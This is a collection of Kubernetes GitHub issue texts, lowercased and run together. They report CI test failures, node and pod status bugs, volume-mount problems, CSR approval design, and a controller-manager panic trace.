according to the ubuntu deployment guide: http://kubernetes.io/docs/getting-started-guides/ubuntu/ you must configure the following variable before kube-up.sh  export role=\ ai i i\    but looking at ubuntu/config-default.sh it looks like the correct name is roles not role roles=${roles:-\ ai i i\ }

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubelet-serial-gce-e2e-ci/839/  failed:  k8s.io  density  serial   slow  create a batch of pods latency/resource should be within limit when create 10 pods with 0 interval {e2enode suite}      /var/lib/jenkins/workspace/kubelet-serial-gce-e2e-ci/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/density_test.go:109 sep 27 09:51:41.167: cpu usage exceeding limits:  node tmp-node-e2e-14ffd611-coreos-alpha-1122-0-0-v20160727:  container \ kubelet\ : expected 95th% usage < 0.500; got 0.514 /var/lib/jenkins/workspace/kubelet-serial-gce-e2e-ci/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/resource_usage_test.go:278      previous issues for this test:  30523  32022  33291

\r   kubernetes version    use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-alpha.0.884+6e4bc5427c3754-dirty\ , gitcommit:\ 6e4bc5427c37544025726c16f48cb91518fd305e\ , gittreestate:\ dirty\ , builddate:\ 2016-12-05t22:33:36z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-alpha.0.884+6e4bc5427c3754-dirty\ , gitcommit:\ 6e4bc5427c37544025726c16f48cb91518fd305e\ , gittreestate:\ dirty\ , builddate:\ 2016-12-06t04:10:05z\ , goversion:\ go1.7.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r this is effectively 1.5 code.\r \r   environment  :\r -   cloud provider or hardware configuration  : gce\r -   os    e.g. from /etc/os-release : unknown, the default with kube-up.sh\r -   kernel    e.g.  uname -a  : unknown, the default with kube-up.sh\r -   install tools  : n/a\r -   others  : n/a\r \r \r   what happened  :\r \r all 3 of my nodes are not ready.  presumably this is due to the softlockup issue.  the reason is not really relevant.  ssh doesn't work so the nodes are not responding.  \r \r    \r kubectl get nodes --namespace=kube-system\r name                           status                     age\r kubernetes-master              ready,schedulingdisabled   3d\r kubernetes-minion-group-1fn8   notready                   3d\r kubernetes-minion-group-uwsz   notready                   3d\r kubernetes-minion-group-vm1l   notready                   3d\r    \r this is not the bug.  this is the background.\r \r when i list my pods, i see that there are pods listed as running.  but they are on nodes that have been unready for a long time:\r    \r kubectl get pods --namespace=kube-system\r name                                                 ready     status        restarts   age\r etcd-empty-dir-cleanup-kubernetes-master             1/1       running       0          3d\r etcd-server-events-kubernetes-master                 1/1       running       0          3d\r etcd-server-kubernetes-master                        1/1       running       0          3d\r fluentd-cloud-logging-kubernetes-master              1/1       running       0          3d\r fluentd-cloud-logging-kubernetes-minion-group-1fn8   1/1       unknown       0          3d\r fluentd-cloud-logging-kubernetes-minion-group-uwsz   1/1       running       0          3d\r fluentd-cloud-logging-kubernetes-minion-group-vm1l   1/1       unknown       0          3d\r heapster-v1.2.0-1768504394-i5ugt                     4/4       running       0          3d\r kube-addon-manager-kubernetes-master                 1/1       running       0          3d\r kube-apiserver-kubernetes-master                     1/1       running       1          3d\r kube-controller-manager-kubernetes-master            1/1       running       0          3d\r kube-dns-4009328302-59k7d                            4/4       unknown       0          3d\r kube-dns-4009328302-cas39                            4/4       running       0          2d\r kube-dns-4009328302-t2m07                            4/4       unknown       0          3d\r kube-dns-autoscaler-2895493484-8ib1w                 1/1       terminating   0          2d\r kube-dns-autoscaler-2895493484-lnw7y                 1/1       unknown       0          3d\r kube-dns-autoscaler-2895493484-vkh89                 0/1       pending       0          8m\r kube-proxy-kubernetes-minion-group-1fn8              1/1       unknown       0          3d\r kube-proxy-kubernetes-minion-group-uwsz              1/1       running       0          3d\r kube-proxy-kubernetes-minion-group-vm1l              1/1       unknown       0          3d\r kube-scheduler-kubernetes-master                     1/1       running       0          3d\r kubernetes-dashboard-1438092349-m9qp0                1/1       running       0          2d\r kubernetes-dashboard-1438092349-wf0qv                1/1       unknown       0          3d\r l7-default-backend-1869959889-3bsge                  1/1       running       0          3d\r l7-default-backend-1869959889-ry9pv                  1/1       unknown       0          3d\r l7-lb-controller-v0.8.0-kubernetes-master            1/1       running       0          3d\r monitoring-influxdb-grafana-v4-amg2s                 2/2       unknown       0          3d\r monitoring-influxdb-grafana-v4-w8h1r                 2/2       running       0          3d\r node-problem-detector-v0.1-0uo5f                     1/1       nodelost      0          3d\r node-problem-detector-v0.1-c9gre                     1/1       nodelost      0          3d\r node-problem-detector-v0.1-eb769                     1/1       running       0          3d\r node-problem-detector-v0.1-ucawk                     1/1       running       0          3d\r rescheduler-v0.2.1-kubernetes-master                 1/1       running       0          3d\r    \r \r for example, pod  kubernetes-dashboard-1438092349-m9qp0  is listed as  running :\r    \r kubectl get pods --namespace=kube-system kubernetes-dashboard-1438092349-m9qp0 -o wide\r name                                    ready     status    restarts   age       ip           node\r kubernetes-dashboard-1438092349-m9qp0   1/1       running   0          2d        10.244.2.9   kubernetes-minion-group-uwsz\r    \r  but the node it is on has been notready for ages.\r    \r kubectl describe nodes kubernetes-minion-group-uwsz  \r name:\t\t\tkubernetes-minion-group-uwsz\r role:\t\t\t\r labels:\t\t\tbeta.kubernetes.io/arch=amd64\r \t\t\tbeta.kubernetes.io/instance-type=n1-standard-2\r \t\t\tbeta.kubernetes.io/os=linux\r \t\t\tfailure-domain.beta.kubernetes.io/region=us-central1\r \t\t\tfailure-domain.beta.kubernetes.io/zone=us-central1-b\r \t\t\tkubernetes.io/hostname=kubernetes-minion-group-uwsz\r taints:\t\t\t<none>\r creationtimestamp:\ttue, 06 dec 2016 00:18:27 -0800\r phase:\t\t\t\r conditions:\r   type\t\t\tstatus\t\tlastheartbeattime\t\t\tlasttransitiontime\t\t\treason\t\t\t\tmessage\r   ----\t\t\t------\t\t-----------------\t\t\t------------------\t\t\t------\t\t\t\t-------\r   networkunavailable \tfalse \t\ttue, 06 dec 2016 00:19:08 -0800 \ttue, 06 dec 2016 00:19:08 -0800 \troutecreated \t\t\troutecontroller created a route\r   outofdisk \t\tunknown \twed, 07 dec 2016 15:37:55 -0800 \twed, 07 dec 2016 15:38:40 -0800 \tnodestatusunknown \t\tkubelet stopped posting node status.\r   memorypressure \tfalse \t\twed, 07 dec 2016 15:37:55 -0800 \ttue, 06 dec 2016 00:18:27 -0800 \tkubelethassufficientmemory \tkubelet has sufficient memory available\r   diskpressure \t\tfalse \t\twed, 07 dec 2016 15:37:55 -0800 \ttue, 06 dec 2016 00:18:27 -0800 \tkubelethasnodiskpressure \tkubelet has no disk pressure\r   ready \t\tunknown \twed, 07 dec 2016 15:37:55 -0800 \twed, 07 dec 2016 15:38:40 -0800 \tnodestatusunknown \t\tkubelet stopped posting node status.\r   kerneldeadlock \tfalse \t\twed, 07 dec 2016 15:37:49 -0800 \ttue, 06 dec 2016 00:18:41 -0800 \tkernelhasnodeadlock \t\tkernel has no deadlock\r addresses:\t\t10.128.0.4,104.198.43.161,kubernetes-minion-group-uwsz\r capacity:\r  alpha.kubernetes.io/nvidia-gpu:\t0\r  cpu:\t\t\t\t\t2\r  memory:\t\t\t\t7679804ki\r  pods:\t\t\t\t\t110\r allocatable:\r  alpha.kubernetes.io/nvidia-gpu:\t0\r  cpu:\t\t\t\t\t2\r  memory:\t\t\t\t7679804ki\r  pods:\t\t\t\t\t110\r system info:\r  machine id:\t\t\t\r  system uuid:\t\t\td4d77594-e2cd-c068-978c-8029e29b5983\r  boot id:\t\t\t6e7a2ebb-a9dc-479e-a779-080cd52e2d1b\r  kernel version:\t\t3.16.0-4-amd64\r  os image:\t\t\tdebian gnu/linux 7  wheezy \r  operating system:\t\tlinux\r  architecture:\t\t\tamd64\r  container runtime version:\tdocker://1.11.2\r  kubelet version:\t\tv1.6.0-alpha.0.884+6e4bc5427c3754-dirty\r  kube-proxy version:\t\tv1.6.0-alpha.0.884+6e4bc5427c3754-dirty\r podcidr:\t\t\t10.244.2.0/24\r externalid:\t\t\t6462392994815003928\r non-terminated pods:\t\t 9 in total \r   namespace\t\t\tname\t\t\t\t\t\t\t\tcpu requests\tcpu limits\tmemory requests\tmemory limits\r   ---------\t\t\t----\t\t\t\t\t\t\t\t------------\t----------\t---------------\t-------------\r   kube-system\t\t\tfluentd-cloud-logging-kubernetes-minion-group-uwsz\t\t100m  5% \t0  0% \t\t200mi  2% \t200mi  2% \r   kube-system\t\t\theapster-v1.2.0-1768504394-i5ugt\t\t\t\t288m  14% \t288m  14% \t597376ki  7% \t597376ki  7% \r   kube-system\t\t\tkube-dns-4009328302-cas39\t\t\t\t\t260m  13% \t0  0% \t\t140mi  1% \t220mi  2% \r   kube-system\t\t\tkube-dns-autoscaler-2895493484-8ib1w\t\t\t\t20m  1% \t0  0% \t\t10mi  0% \t0  0% \r   kube-system\t\t\tkube-proxy-kubernetes-minion-group-uwsz\t\t\t\t100m  5% \t0  0% \t\t0  0% \t\t0  0% \r   kube-system\t\t\tkubernetes-dashboard-1438092349-m9qp0\t\t\t\t100m  5% \t100m  5% \t50mi  0% \t50mi  0% \r   kube-system\t\t\tl7-default-backend-1869959889-3bsge\t\t\t\t10m  0% \t10m  0% \t20mi  0% \t20mi  0% \r   kube-system\t\t\tmonitoring-influxdb-grafana-v4-w8h1r\t\t\t\t200m  10% \t200m  10% \t600mi  8% \t600mi  8% \r   kube-system\t\t\tnode-problem-detector-v0.1-ucawk\t\t\t\t20m  1% \t200m  10% \t20mi  0% \t100mi  1% \r allocated resources:\r    total limits may be over 100 percent, i.e., overcommitted.\r   cpu requests\tcpu limits\tmemory requests\tmemory limits\r   ------------\t----------\t---------------\t-------------\r   1098m  54% \t798m  39% \t1662336ki  21% \t1815936ki  23% \r no events.\r    \r  note notready condition \r \r i expected it to show as  unknown .\r \r   what you expected to happen  :\r \r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else do we need to know  :\r \r

if i mount a secret as a volume in  /etc/secrets , then symlink a file from another volume during my startup command, the symlink gets removed sometime during the container startup lifecycle.\r \r this is sort of strange and inconvenient, and results in additional steps and symlinking in order to combine secrets volumes that need to end up in the same destination.\r \r please see  reproduceable configuration here  https://github.com/bitmage/kube-volume-symlink .\r \r in response to request by @thockin in https://github.com/kubernetes/kubernetes/issues/19764 issuecomment-290610816

right now the group approver is configured with a static group name to allow provisioning of kubelet client certificates. the group approver should move to using a subject access review. we need 3 verbs to auto approve the full kubelet flow:\r \r 1.  csr/nodeclientcert  which if granted indicates the group approver should approve any kubelet client shaped certificate requested.\r 1.  csr/selfnodeclientcert  which if granted indicates the group approver should approve a kubelet client shaped certificate requested if the username of the csr creating user matches the subject of the csr.\r 1.  csr/selfnodeservercert  which if granted indicates the group approver should approve a kubelet server shaped certificate requested if the username of the csr creating user matches the subject of the csr.\r \r names of the verbs are a rough draft. existence of 1 allows for a preshared cluster wide bootstrap identity that can be rotated and invalidated. existence of 2 allows a kubelet to rotate it's own client credentials. existence of 2 allows a kubelet to request and rotate it's own server certificate. \r \r i'm capturing a slack conversation with @liggitt so let me know if i got something wrong.

failures for this test in prs: https://storage.googleapis.com/k8s-gubernator/triage/index.html?ci=0&pr=1&test=provide%20basic%20identity\r \r 12 of 34 failures in the past week matched the following text:\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/statefulset.go:545\r expected error:\r     <exec.codeexiterror>: {\r         err: {\r             s: \ error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://130.211.221.133 --kubeconfig=/workspace/.kube/config --namespace=e2e-tests-statefulset-8v0zv exec cockroachdb-0 -- /bin/sh -c /cockroach/cockroach sql --host cockroachdb-0.cockroachdb -e \\\ create database if not exists foo;\\\       <nil>  error: problem using security settings, did you mean to use --insecure?: no ca certificate found\ failed running \\\ sql\\\ \     <nil> 0xc421332420 exit status 1 <nil> <nil> true  0xc420032040 0xc420032058 0xc420032070   0xc420032040 0xc420032058 0xc420032070   0xc420032050 0xc420032068   0x1277ce0 0x1277ce0  0xc420eae4e0 <nil>}:\ command stdout:\ \ stderr:\ error: problem using security settings, did you mean to use --insecure?: no ca certificate found\ failed running \\\ sql\\\ \ \ error:\ exit status 1\ \ ,\r         },\r         code: 1,\r     }\r     error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://130.211.221.133 --kubeconfig=/workspace/.kube/config --namespace=e2e-tests-statefulset-8v0zv exec cockroachdb-0 -- /bin/sh -c /cockroach/cockroach sql --host cockroachdb-0.cockroachdb -e \ create database if not exists foo;\       <nil>  error: problem using security settings, did you mean to use --insecure?: no ca certificate found\r     failed running \ sql\ \r         <nil> 0xc421332420 exit status 1 <nil> <nil> true  0xc420032040 0xc420032058 0xc420032070   0xc420032040 0xc420032058 0xc420032070   0xc420032050 0xc420032068   0x1277ce0 0x1277ce0  0xc420eae4e0 <nil>}:\r     command stdout:\r     \r     stderr:\r     error: problem using security settings, did you mean to use --insecure?: no ca certificate found\r     failed running \ sql\ \r     \r     error:\r     exit status 1\r     \r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2120\r    \r \r expectations:\r   this work should interrupt and take  other activity while it is assigned to you.\r   expectation for sig leads is to identify someone to fix the issue,  /assign  them and  /unassign  yourself.\r   expectation for assignees are to investigate the issue and either a  resolve it or b   /assign  it to a more appropriate person and b   /unassign  yourself.\r \r \r per experiment assigning apps issues to one individual from google's workloads team chosen by round robin, \r /assign @janetkuo \r please identify the correct person to fix this issue,  /assign  that person and  /unassign  yourself.\r \r   notice:   this test has been flaky before: https://github.com/kubernetes/kubernetes/issues/44229

what keywords did you search in kubernetes issues before filing this one?  \r volume free space \r \r   is this a bug report or feature request?    choose one :\r \r feature request\r \r   kubernetes version    use  kubectl version  :\r \r  client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t22:51:55z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5+\ , gitversion:\ v1.5.6-4+abe34653415733\ , gitcommit:\ abe346534157336e6bd5a70702756cff19d43a49\ , gittreestate:\ clean\ , builddate:\ 2017-05-18t16:52:50z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r \r   environment  :\r -   cloud provider or hardware configuration  : ibm container service\r \r   what happened  :\r \r i am trying to find out the remaining free space of a volume.\r \r   what you expected to happen  :\r \r i expect  kubectl describe pv  to output a usage or remaining capacity gauge.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r run  kubectl describe pv %your-pv . there is no gauge.\r \r   anything else we need to know  :\r \r providing the gauge would allow monitoring solutions to expose this metric, as i think it is very important.

how to implement watch api using okhttp and retrofit in java. do i have to use websockets for this to implement?

seems like kubelet changes breaking kubemark yet again. we've started seeing this at ~16:30 pst yesterday:\r https://k8s-testgrid.appspot.com/kubernetes-presubmits pull-kubernetes-kubemark-e2e-gce\r \r cc @jdumars @k8s-oncall @kubernetes/sig-release-members

 \r in the current kubelet device plugin implementation, we always accept the newest device plugin upon duplicate registrations. we took this policy so that if device plugin daemonset restarts, new connection can be re-established. however, this policy may not yield the desired behavior in certain cases, e.g., when the old device plugin is still correctly running and the new device plugin was deployed by mistake. we may consider to extend the current logic to verify whether an old device plugin with the same resource name is still alive before accepting the new registration. we may also consider to add the logic that de-prioritizes the registration for a given resource if it has been registered multiple times in a short period to make sure kubelet would not be kept busy by a faulty device plugin.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-staging-1-8-1-9-upgrade-regional-cluster/36 cluster-upgrade-persistent-volume-upgrade-sig-storage\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-staging-1-8-1-9-upgrade-regional-cluster/36 sig-storage-pod-disks-should-schedule-a-pod-w-a-rw-pd-gracefully-remove-it-then-schedule-it-on-another-host-slow  + other  pod disks  tests in the same suite \r \r   /assign\r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r see discussion: https://github.com/kubernetes/kubernetes/pull/62102 discussion_r179238429\r \r   what you expected to happen  :\r \r when  fsgroup  cannot be enforced in local plugin, a warning event should be reported to apiserver, then user can know it by  describe pod .

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  \r \r \r   what happened  :\r when mounting a key from configmap under  /root  the whole  /root  path becomes read-only.\r \r   what you expected to happen  :\r only the specific mount point  /root/config.json  to be read-only.\r \r   how to reproduce it  as minimally and precisely as possible   :\r when using the following config:\r    \r   containers:\r     - name: test-container\r       image: nginx:latest\r       volumemounts:\r       - name: config-volume\r         mountpath: /root\r   volumes:\r     - name: config-volume\r       configmap:\r         name: my-config\r         items:\r         - key: config.json\r           path: config.json\r    \r that the whole  /root  becomes read only instead of just the  /root/config.json  where i'm actually mounting. the pods complain with:\r    \r error: erofs: read-only file system, mkdir '/root/.pm2\r    \r i'm aware of the security patch for  subpath  but is this expected in this case?\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.13\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools: kops\r - others:\r

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r ci-cri-containerd-e2e-ubuntu-gce\r \r   which test s  are failing  :\r many failed in this run\r \r   since when has it been failing  :\r this run failed on 10/25\r \r   testgrid link  :\r https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-cri-containerd-e2e-ubuntu-gce/8226 sig-storage-in-tree-volumes-driver-gcepd-testpattern-inline-volume-default-fs-volumes-should-be-mountable\r \r   reason for failure  :\r containers failed to start with:\r oct 26 05:18:47.930: info: at 2018-10-26 05:18:24 +0000 utc - event for volume-injector-zz89: {kubelet bootstrap-e2e-minion-group-gb8z} failed: error: failed to create containerd task: oci runtime create failed: container_linux.go:336: starting container process caused \ process_linux.go:402: container init caused \\\ rootfs_linux.go:58: mounting \\\\\\\ cgroup\\\\\\\  to rootfs \\\\\\\ /run/containerd/io.containerd.runtime.v1.linux/k8s.io/volume-injector/rootfs\\\\\\\  at \\\\\\\ /sys/fs/cgroup\\\\\\\  caused \\\\\\\ stat /run/containerd/io.containerd.runtime.v1.linux/k8s.io/6cfb2144321818493ad276acafb2d082b3233afd19b5f6c0558f268a8a7215cb/rootfs/sys/fs/pod8534b75c-d8de-11e8-b7cf-42010a800002/volume-injector: no such file or directory\\\\\\\ \\\ \ : unknown\r \r   anything else we need to know  :\r \r @kubernetes/sig-node-bugs \r \r <!-- do not edit below this line -->\r 

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r should namespace controller be responsible for gc unknown pods?\r \r   why is this needed  :\r namespace stuck at terminating state.\r \r <!-- do not edit below this line -->\r 

currently we only log out the etcd object counts for resources which we know about. noteably, we do not output the object counts for dynamic resources  i.e. crds . this can be problematic when troubleshooting a cluster. we should be able to export  as metrics  both the total number of objects in etcd at a given time as well as the sum total of the crd objects in existence at a given time. \r \r 

some volumes can be mounted once in a cluster.   others can be mounted many times, but in different modes.  gather requirements around each volume, understand their rules, and implement runtime validation to prevent the wrong thing from getting mounted the wrong way on the wrong host.  this is similar to and a complement of scheduling constraints based on volume type: https://github.com/googlecloudplatform/kubernetes/issues/7835  @smarterclayton

helper methods for flag retrieval are now causing system exits.  this prevents any reasonable error handling for missing flag conditions.  see here for an example: https://github.com/kubernetes/kubernetes/blob/master/pkg/kubectl/cmd/util/helpers.go l211

failed to create external load balancer for service pro/xyz: unsupported load balancer affinity: clientip      as in understood from http://kubernetes.io/v1.0/docs/user-guide/services.html the service setting 'sessionaffinity' is for the kube-proxy on each minion and not for the external load-balancer. if both supporting the same sessionaffinity, one may also configure it on the external load-balancer, but it's just an optimization to already route the traffic to the target minion.

hi team,  i am experiencing the below issue which was given in the below screenshot: ! 2016-10-25 17_54_45-root ip-172-31-59-144_  https://cloud.githubusercontent.com/assets/7767467/19685878/3cc7961a-9adc-11e6-9bd8-1c9bcc7c5748.png

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-reboot/346/  multiple broken tests:  failed:  k8s.io  reboot  disruptive   feature:reboot  each node by dropping all inbound packets for a while and ensure they function afterwards {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:122 dec  1 19:51:36.465: test failed; at least one node failed to reboot in the time given. /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:170     issues about this test specifically:  33405   failed:  k8s.io  reboot  disruptive   feature:reboot  each node by switching off the network interface and ensure they function upon switch on {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:112 dec  1 20:01:49.559: test failed; at least one node failed to reboot in the time given. /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:170     issues about this test specifically:  33407  33623   failed:  k8s.io  reboot  disruptive   feature:reboot  each node by ordering clean reboot and ensure they function upon restart {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:94 dec  1 20:12:02.583: test failed; at least one node failed to reboot in the time given. /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:170     issues about this test specifically:  33874   failed:  k8s.io  reboot  disruptive   feature:reboot  each node by ordering unclean reboot and ensure they function upon restart {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:100 dec  1 20:22:15.561: test failed; at least one node failed to reboot in the time given. /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:170     issues about this test specifically:  33882  35316   failed:  k8s.io  reboot  disruptive   feature:reboot  each node by dropping all outbound packets for a while and ensure they function afterwards {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:132 dec  1 20:32:28.291: test failed; at least one node failed to reboot in the time given. /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:170     issues about this test specifically:  33703  36230   failed:  k8s.io  reboot  disruptive   feature:reboot  each node by triggering kernel panic and ensure they function upon restart {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:106 dec  1 19:41:23.802: test failed; at least one node failed to reboot in the time given. /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:170     issues about this test specifically:  34123  35398  previous issues for this suite:  37159

i ran  kubefed init  after pushing my dev hyperkube image and federation control plane failed to come up.\r on closer look, i see the image field as:  gcr.io/google_containers/hyperkube-amd64:v1.6.0-alpha.0.2798+8b2c620b33b9a1-dirty . it picked the right image version but not the right repository.\r \r cc @madhusudancs @kubernetes/sig-federation-misc

i just run into panic in controller-manager:\r    \r /usr/local/go/src/runtime/asm_amd64.s:2086\r panic: runtime error: integer divide by zero  recovered \r         panic: runtime error: integer divide by zero  recovered \r         panic: runtime error: integer divide by zero\r \r goroutine 327  running :\r panic 0x229cb80, 0xc420010040 \r         /usr/local/go/src/runtime/panic.go:500 +0x1a1\r k8s.io/kubernetes/pkg/util/runtime.handlecrash 0x0, 0x0, 0x0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/runtime/runtime.go:56 +0x126\r panic 0x229cb80, 0xc420010040 \r         /usr/local/go/src/runtime/panic.go:458 +0x243\r k8s.io/kubernetes/pkg/util/runtime.handlecrash 0x0, 0x0, 0x0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/runtime/runtime.go:56 +0x126\r panic 0x229cb80, 0xc420010040 \r         /usr/local/go/src/runtime/panic.go:458 +0x243\r k8s.io/kubernetes/pkg/controller/podautoscaler/metrics.getresourceutilizationratio 0xc4218cb1a0, 0xc421064ce0, 0xc40000003c, 0x26, 0xc4217c7408, 0x38cc801, 0xc421995740 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/podautoscaler/metrics/utilization.go:37 +0x196\r k8s.io/kubernetes/pkg/controller/podautoscaler.  replicacalculator .getresourcereplicas 0xc420907f60, 0x3c00000002, 0x26fdc1a, 0x3, 0xc42090ae54, 0x7, 0x38cc8e0, 0xc421995740, 0xc4212da480, 0x26ffbca, ... \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/podautoscaler/replica_calculator.go:97 +0x958\r k8s.io/kubernetes/pkg/controller/podautoscaler.  horizontalcontroller .computereplicasforcpuutilization 0xc4208fbc70, 0xc4203d2f08, 0xc4212da480, 0x37, 0x39460e0, 0xc4212da400, 0x0, 0x0, 0x0, 0x0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/podautoscaler/horizontal.go:167 +0x3e1\r k8s.io/kubernetes/pkg/controller/podautoscaler.  horizontalcontroller .reconcileautoscaler 0xc4208fbc70, 0xc4203d2f08, 0x27855ae, 0x37 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/podautoscaler/horizontal.go:315 +0xc42\r k8s.io/kubernetes/pkg/controller/podautoscaler.newinformer.func3 0x26b07a0, 0xc4203d2f08 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/podautoscaler/horizontal.go:95 +0xc3\r k8s.io/kubernetes/pkg/client/cache.resourceeventhandlerfuncs.onadd 0xc4208d2200, 0xc4208d2210, 0x0, 0x26b07a0, 0xc4203d2f08 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/client/cache/controller.go:173 +0x49\r k8s.io/kubernetes/pkg/client/cache.  resourceeventhandlerfuncs .onadd 0xc4208fe0c0, 0x26b07a0, 0xc4203d2f08 \r         <autogenerated>:50 +0x78\r k8s.io/kubernetes/pkg/client/cache.newinformer.func1 0x22f5240, 0xc4219952e0, 0xc4219952e0, 0x22f5240 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/client/cache/controller.go:251 +0x270\r k8s.io/kubernetes/pkg/client/cache.  deltafifo .pop 0xc420864630, 0xc42087bd10, 0x0, 0x0, 0x0, 0x0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/client/cache/delta_fifo.go:420 +0x22a\r k8s.io/kubernetes/pkg/client/cache.  controller .processloop 0xc42018ae00 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/client/cache/controller.go:131 +0x3c\r k8s.io/kubernetes/pkg/client/cache.  controller . k8s.io/kubernetes/pkg/client/cache.processloop -fm  \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/client/cache/controller.go:102 +0x2a\r k8s.io/kubernetes/pkg/util/wait.jitteruntil.func1 0xc421065f60 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/wait/wait.go:96 +0x5e\r k8s.io/kubernetes/pkg/util/wait.jitteruntil 0xc421065f60, 0x3b9aca00, 0x0, 0x2164401, 0xc420126a20 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/wait/wait.go:97 +0xad\r k8s.io/kubernetes/pkg/util/wait.until 0xc421065f60, 0x3b9aca00, 0xc420126a20 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/wait/wait.go:52 +0x4d\r k8s.io/kubernetes/pkg/client/cache.  controller .run 0xc42018ae00, 0xc420126a20 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/client/cache/controller.go:102 +0x1af\r created by k8s.io/kubernetes/pkg/controller/podautoscaler.  horizontalcontroller .run\r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/controller/podautoscaler/horizontal.go:133 +0xc0\r    \r \r this clearly shouldn't happen.\r \r cc @fgrzadkowski @jszczepkowski @kubernetes/sig-autoscaling-misc

